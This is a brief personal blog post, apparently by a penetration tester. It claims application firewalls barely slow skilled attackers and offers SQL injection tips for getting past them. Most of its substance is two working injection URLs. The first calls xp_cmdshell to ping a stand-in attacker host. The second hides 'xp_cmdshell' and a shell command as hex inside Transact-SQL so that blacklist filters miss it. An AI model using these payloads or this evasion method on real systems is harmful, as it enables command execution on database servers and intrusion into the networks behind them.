Simon Sez

Forgive me, Father, it's been....wow -- almost a year since my last blog.

Busy times. Fun, but busy.

A few tips from the field: application firewalls are not all they're cracked up to be. They'll block the automated (read: dumb) attacks, but they really don't do much against a trained attacker. I've just taken over a corporate network via a SQL Injection vulnerability. All done through an ISS firewall (also applied the same attack to a Barracuda firewall). Better than nothing (if you have vulnerable applications that you can't fix), but they're just a delaying game.


Some SQL Injection tips for those that are into this kind of thing:

1. SQL Server understands hex and treats it as a varchar. Single quotes being padded? Not to worry, just use hex.

2. Application firewalls are looking for known-bad input. Think black-listing. This should sound familiar to those that were hacking network-level firewalls about 10 years ago (black lists don't work). Change the input. Use transact SQL (or PL-SQL, or Java, or whatever else the database understands).

A call that would be blocked by most any application firewall:

Code:

http://www.somedomain.com/vulnerable.aspx?foo=a'; exec master..xp_cmdshell 'ping attacker.com'; --

Re-write it with a bit of Transact SQL and some hex coding to become:

Code:

http://www.somedomain.com/vulnerable.aspx?foo=a'%20declare+@v+as+varchar(2048)+declare+@n+as+nvarchar(2048)+set+@v%3d0x78705F636D647368656C6C+set+@n%3dcast(@v+as+nvarchar)%20set%20@v%3d0x6563686F20773030743E746573742E747874+execute+@n%20@v;

Problem solved.